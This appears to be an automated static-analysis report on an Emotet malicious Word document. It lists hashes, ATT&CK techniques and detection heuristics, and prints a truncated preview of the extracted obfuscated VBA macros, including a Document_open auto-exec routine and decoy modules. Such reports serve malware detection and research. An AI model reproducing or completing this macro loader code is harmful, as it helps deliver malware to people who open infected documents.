Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 07a72efeaf8d34d8…

MALICIOUS

Office (OLE)

267.7 KB Created: 2020-02-06 14:03:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: b24e14a602bb8961e2486e7390d322f4 SHA-1: fc2e399e830e4bce5aac5f48c15415b4bd00289e SHA-256: 07a72efeaf8d34d85e0dc3bd5b09d1c1aeecee662ea08687d4c32da93b023296
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. Heuristics indicate the use of a hidden UserForm property as a command stager, a common technique for Emotet. The ClamAV detection explicitly names Emotet. The VBA script's obfuscated nature and use of `CreateObject` suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-7580127-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-7580127-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37777 bytes
SHA-256: 6c38b59bc8a3f6485e2219b86213e2b368008e99e62630c85c561d71e1ed592b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bmhgbaepgky"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Neiscqfyyrszq.Fqnkavnc
End Sub

Attribute VB_Name = "Qmfvobuc"
Attribute VB_Base = "0{E82C7480-4C8A-4E18-98C4-A66B9674A105}{9DEBE992-DE4F-4F75-BDB9-408EA4D3C22A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Vfyzwmpzcelbw"
Attribute VB_Base = "0{124F2ACB-DC42-45D3-9CEA-2AEAED3185DA}{E84C1C4D-E706-4D0C-A235-6E6CD302BE03}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vvaexqblwsmym()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Xmrkvcyroe"
Attribute VB_Base = "0{63309DBB-BF3A-4540-A9F8-AA096521C5C6}{F7494CD2-D5DD-4759-9582-C7114C43B9C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Chowmycfbh()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ittcgkodysh"
Attribute VB_Base = "0{B8B422F4-F645-41F9-B37B-7F8FBD4DA944}{FB45F29A-09DA-45A0-A8C3-AD98D5474CEA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Muwwdmatez()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Wzzkwhqwa"
Attribute VB_Base = "0{D30BE56D-C38F-461E-9BC8-85D5CF327AEC}{E682136F-BDC8-4071-B26E-1D27B544C725}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Jwldqaoj()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Lzefiyuoxeu"
Attribute VB_Base = "0{70AF2C35-2903-447B-B608-7A8CDCF66A85}{30F06CFF-C343-477F-8420-29382F3D0378}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Kkosbkrbjlrn()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Iksqpfrkaveo"
Attribute VB_Base = "0{352FEF58-0F76-4C93-AEEB-93A958BE1739}{F6BCA0AD-1331-4BB6-AC92-C8D9CBE0561D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Hcwhubasbhmz()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Cnmsifleeof"
Attribute VB_Base = "0{73BCAFE5-47C5-4F09-BE5B-237433916BAD}{40E20B36-6C3A-424E-B6BB-9205527DC0F9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zktonbvt()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ktyrqildqxd"
Attribute VB_Base = "0{50842638-C9E1-4A63-8F76
... (truncated)